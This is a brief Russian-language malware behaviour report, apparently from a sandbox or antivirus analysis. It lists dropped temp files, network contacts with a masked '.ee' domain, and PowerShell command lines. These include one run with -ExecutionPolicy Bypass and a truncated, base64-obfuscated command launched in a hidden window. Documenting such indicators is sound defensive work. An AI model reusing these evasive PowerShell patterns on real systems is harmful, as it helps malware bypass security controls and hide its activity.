Техническая информация
- %TEMP%\dll01.txt
- %TEMP%\dll02.txt
- 'pa##e.ee':443
- 'pa##e.ee':443
- DNS ASK pa##e.ee
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File %TEMP%\ldkxf.ps1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command $lwngz = 'OwAgAG0AZQ' + [char]66 + 'zAHgAUwAkACAAZQ' + [char]66 + 'sAGkARgAtACAAcw' + [char]66 + 'zAGEAcA' + [char]66 + '5AEIAIA' + [char]66 + '5AGMAaQ' + [char]66 + 'sAG8AUA' + [char]... (со скрытым окном)